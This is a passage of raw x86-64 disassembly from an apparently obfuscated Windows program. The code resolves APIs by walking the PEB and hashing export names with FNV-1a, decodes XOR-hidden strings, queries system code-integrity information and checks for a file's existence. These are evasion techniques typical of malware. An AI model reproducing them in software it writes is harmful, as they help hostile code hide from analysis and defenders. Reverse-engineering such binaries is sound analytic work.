nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002423e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024220
cmp ebx, 0x23a979e4
je 0x140024248
test r8d, r8d
jne 0x140024200
mov rax, qword [rax]
jmp 0x1400241d0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
mov r9d, 0x10
lea r8, [rbp + 0x9370]
mov rdx, rsi
xor ecx, ecx
call rax
nop
lea rcx, [rbp + 0x1840]
call fcn.14000a6f0
nop
lea rcx, [rbp + 0x1860]
call fcn.14000a6f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140024313
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140024313
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002430e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400242f0
cmp ebx, 0xcded1a85
je 0x140024318
test r8d, r8d
jne 0x1400242d0
mov rax, qword [rax]
jmp 0x1400242a0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
mov esi, 2
call fcn.14001edf0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400243c3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400243c3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400243be
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400243a0
cmp ebx, 0xe3b9876a
je 0x1400243c8
test r8d, r8d
jne 0x140024380
mov rax, qword [rax]
jmp 0x140024350
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0xfffffff5
call rdx
mov r13, rax
mov qword [rbp + 0xf0], rax
movabs rax, 0x149297a0c84e2bc0
mov qword [rbp - 0x10], rax
movabs rax, 0x342daa9661cf6252
mov qword [rbp - 8], rax
movabs rax, 0x3ae2fbc5a02949a4
mov qword [rbp + 0x10], rax
movabs rax, 0x342daa9661a30e36
mov qword [rbp + 0x18], rax
xorps xmm2, xmm2
lea rcx, [rbp + 0x2068]
mov rdx, rsi
xor eax, eax
nop word [rax + rax]
mov qword [rcx - 8], rax
mov qword [rcx], rax
lea rcx, [rcx + 0x10]
sub rdx, 1
jne 0x140024440
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x2060], xmm0
movdqa xmmword [rbp + 0x2070], xmm2
lea rcx, [rbp + 0x5ef0]
lea rax, [rbp + 0x2060]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140024573
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140024573
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002456e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024550
cmp ebx, 0xe463da3c
je 0x140024578
test r8d, r8d
jne 0x140024530
mov rax, qword [rax]
jmp 0x140024500
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rbp + 0x5ef0]
call rdx
test rax, rax
je 0x140024656
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140024633
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140024633
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002462e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024610
cmp ebx, 0xf84eee59
je 0x140024638
test r8d, r8d
jne 0x1400245f0
mov rax, qword [rax]
jmp 0x1400245c0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
xor edx, edx
mov rcx, r15
call rax
movabs rax, 0x9f5aae75d3bc879
mov qword [rbp - 0x10], rax
movabs rax, 0x497861be65a72aa
mov qword [rbp - 8], rax
movabs rax, 0x1e64e4ce4bbeb3d5
mov qword [rbp], rax
movabs rcx, 0x2d86740d59f9495b
mov qword [rbp + 8], rcx
movabs rax, 0x6186c38b3f5abc3c
mov qword [rbp + 0x30], rax
movabs rax, 0x6af9e978c63d1cc3
mov qword [rbp + 0x38], rax
movabs rax, 0x304a8aa122cad0b0
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x2c48]
mov ecx, 4
xor ebx, ebx
mov qword [rax - 8], rbx
mov qword [rax], rbx
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x1400246d0
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x2c40], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x2c50], xmm1
movdqa xmmword [rbp + 0x2c60], xmm4
movdqa xmmword [rbp + 0x2c70], xmm5
lea rax, [rbp + 0x7e20]
lea rcx, [rbp + 0x2c40]
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140024730
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x360], xmm1
mov qword [rbp + 0x370], rbx
mov qword [rbp + 0x378], rbx
lea rax, [rbp + 0x7e20]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x1400247b0
lea rdx, [rbp + 0x7e20]
lea rcx, [rbp + 0x360]
call fcn.14000b450
lea rax, [rbp + 0x360]
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x360]
cmp qword [rbp + 0x378], 0xf
cmova rdx, qword [rbp + 0x360]
mov r8, qword [rbp + 0x370]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001cb10
nop
lea rcx, [rbp + 0x360]
call fcn.14000a6f0
call fcn.14001e840
movabs rax, 0x12a9803486ef16fb
mov qword [rbp - 0x10], rax
movabs rax, 0x2da8ef2beb40508f
mov qword [rbp - 8], rax
movabs rax, 0x3cc2e351ee8c7b8d
mov qword [rbp + 0x10], rax
movabs rax, 0x2da8ef2beb2c3ceb
mov qword [rbp + 0x18], rax
xorps xmm2, xmm2
lea rax, [rbp + 0x2128]
mov rcx, rsi
nop dword [rax + rax]
mov qword [rax - 8], rbx
mov qword [rax], rbx
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140024860
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x2120], xmm0
movdqa xmmword [rbp + 0x2130], xmm2
lea rcx, [rbp + 0x5950]
lea rax, [rbp + 0x2120]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140024993
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140024993
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002498e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024970
cmp ebx, 0xe463da3c
je 0x140024998
test r8d, r8d
jne 0x140024950
mov rax, qword [rax]
jmp 0x140024920
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rbp + 0x5950]
call rdx
test rax, rax
je 0x140024a76
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140024a53
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140024a53
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024a4e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024a30
cmp ebx, 0xf84eee59
je 0x140024a58
test r8d, r8d
jne 0x140024a10
mov rax, qword [rax]
jmp 0x1400249e0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
xor edx, edx
mov rcx, r15
call rax
xor eax, eax
mov qword [rbp + 0xc730], rax
xor edi, edi
mov dword [rbp + 0xc5d0], edi
lea r9, [rbp + 0xc5d0]
mov r8d, r14d
lea rdx, [rbp + 0xc730]
lea ecx, [rax + 0x67]
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
js 0x140024e15
cmp dword [rbp + 0xc5d0], 8
jne 0x140024e15
mov eax, dword [rbp + 0xc734]
shr eax, 1
test al, 1
je 0x140024e15
movabs rax, 0x1f1ce150da570825
mov qword [rbp - 0x10], rax
movabs rax, 0x2fdbfe10bcf95c1
mov qword [rbp - 8], rax
movabs rax, 0x13a2fdec34e782b6
mov qword [rbp], rax
movabs rax, 0x647af493aa4c846d
mov qword [rbp + 8], rax
movabs rax, 0x3f799231bf3b582f
mov qword [rbp + 0x30], rax
movabs rax, 0x2298d3836abcfca5
mov qword [rbp + 0x38], rax
movabs rax, 0x74cb8ecc4094e7c2
mov qword [rbp + 0x40], rax
movabs rax, 0x647af499cd22ed03
mov qword [rbp + 0x48], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x4f08]
mov ecx, 4
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140024b50
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x4f00], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp]
movdqa xmmword [rbp + 0x4f10], xmm1
movdqa xmmword [rbp + 0x4f20], xmm4
movdqa xmmword [rbp + 0x4f30], xmm5
lea rax, [rbp + 0x87f0]
lea rcx, [rbp + 0x4f00]
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140024bb0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x410], rdi
mov qword [rbp + 0x418], rdi
lea rax, [rbp + 0x87f0]
mov r8, r15
inc r8
cmp byte [rax + r8], dil
jne 0x140024c52
lea rdx, [rbp + 0x87f0]
lea rcx, [rbp + 0x400]
call fcn.14000b450
lea rax, [rbp + 0x400]
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x400]
cmp qword [rbp + 0x418], 0xf
cmova rdx, qword [rbp + 0x400]
mov r8, qword [rbp + 0x410]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001cb10
nop
lea rcx, [rbp + 0x400]
call fcn.14000a6f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140024d43
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140024d43
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024d3e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024d20
cmp ebx, 0x2fa62ca8
je 0x140024d48
test r8d, r8d
jne 0x140024d00
mov rax, qword [rax]
jmp 0x140024cd0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0xfa0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140024df3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140024df3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024dee
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024dd0
cmp ebx, 0xe80fd3a
je 0x140024df8
test r8d, r8d
jne 0x140024db0
mov rax, qword [rax]
jmp 0x140024d80
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edi, edi
movabs rax, 0x1293833aed72bd
mov qword [rbp - 0x10], rax
movabs rax, 0x10ee7ecc8fc40ba2
mov qword [rbp - 8], rax
movabs rax, 0x41ac859488e
mov qword [rbp], rax
movabs rcx, 0x69fb132ec4dd8a6
mov qword [rbp + 8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x684dfdec538117da
mov qword [rbp + 0x30], rax
movabs rax, 0x638911a0d0af64cd
mov qword [rbp + 0x38], rax
movabs rax, 0x41abc213ca0
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rcx
lea rax, [rbp + 0x2658]
mov ebx, 4
mov ecx, ebx
nop
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140024e90
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x2650], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x2660], xmm1
movdqa xmmword [rbp + 0x2670], xmm4
movdqa xmmword [rbp + 0x2680], xmm5
lea rax, [rbp + 0x7990]
lea rcx, [rbp + 0x2650]
mov rdx, rsi
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140024ef0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0xc6d0], xmm1
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc6e0], xmm0
lea rax, [rbp + 0x7990]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140024f90
lea rdx, [rbp + 0x7990]
lea rcx, [rbp + 0xc6d0]
call fcn.14000b450
nop
movabs rax, 0x1fffffffe003de64
mov qword [rsp + 0x50], rax
movabs rcx, 0xe00000001ffb888e
mov qword [rsp + 0x58], rcx
movabs rax, 0x1fffffffe003de38
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x1210], xmm0
movaps xmm0, xmmword [rbp + 0x180]
movaps xmmword [rbp + 0x1220], xmm0
lea rcx, [rbp + 0x1760]
call fcn.140022970
nop
lea r8, [rbp + 0x1210]
mov rdx, rax
lea rcx, [rbp + 0x1910]
call fcn.14001c440
nop
lea r8, [rbp + 0xc6d0]
mov rdx, rax
lea rcx, [rbp + 0xc6f0]
call fcn.14000b140
nop
lea rcx, [rbp + 0x1910]
call fcn.14000a6f0
nop
lea rcx, [rbp + 0x1760]
call fcn.14000a6f0
lea rcx, [rbp + 0xc6f0]
cmp qword [rbp + 0xc708], 0xf
cmova rcx, qword [rbp + 0xc6f0]
call qword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400253aa
movabs rax, 0xa8b1a522ea054ec
mov qword [rsp + 0x50], rax
movabs rax, 0x1813d56c081fc48e
mov qword [rsp + 0x58], rax
movabs rax, 0x1046f2bd1c27d81a
mov qword [rsp + 0x60], rax
movabs rax, 0x626709c6c5738faa
mov qword [rsp + 0x68], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x67ab7f3e47e65ee6
mov qword [rbp - 0x70], rax
movabs rax, 0x7633b0026177a7ef
mov qword [rbp - 0x68], rax
movabs rax, 0x67299ed17d07ac75
mov qword [rbp - 0x60], rax
movabs rax, 0x626709c6c573ebcf
mov qword [rbp - 0x58], rax
lea rax, [rbp + 0x3978]
mov rcx, rbx
nop
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140025100
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x3970], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x3980], xmm1
movdqa xmmword [rbp + 0x3990], xmm4
movdqa xmmword [rbp + 0x39a0], xmm5
lea rax, [rbp + 0x8460]
lea rcx, [rbp + 0x3970]
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140025160
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x440], xmm1
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x458], rdi
lea rax, [rbp + 0x8460]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400251f0
lea rdx, [rbp + 0x8460]
lea rcx, [rbp + 0x440]
call fcn.14000b450
lea rax, [rbp + 0x440]
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x440]
cmp qword [rbp + 0x458], 0xf
cmova rdx, qword [rbp + 0x440]
mov r8, qword [rbp + 0x450]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001cb10
nop
lea rcx, [rbp + 0x440]
call fcn.14000a6f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400252d3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400252d3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400252ce
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400252b0
cmp ebx, 0x2fa62ca8
je 0x1400252d8
test r8d, r8d
jne 0x140025290
mov rax, qword [rax]
jmp 0x140025260
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0xbb8
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140025383
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140025383
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002537e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025360
cmp ebx, 0xe80fd3a
je 0x140025388
test r8d, r8d
jne 0x140025340
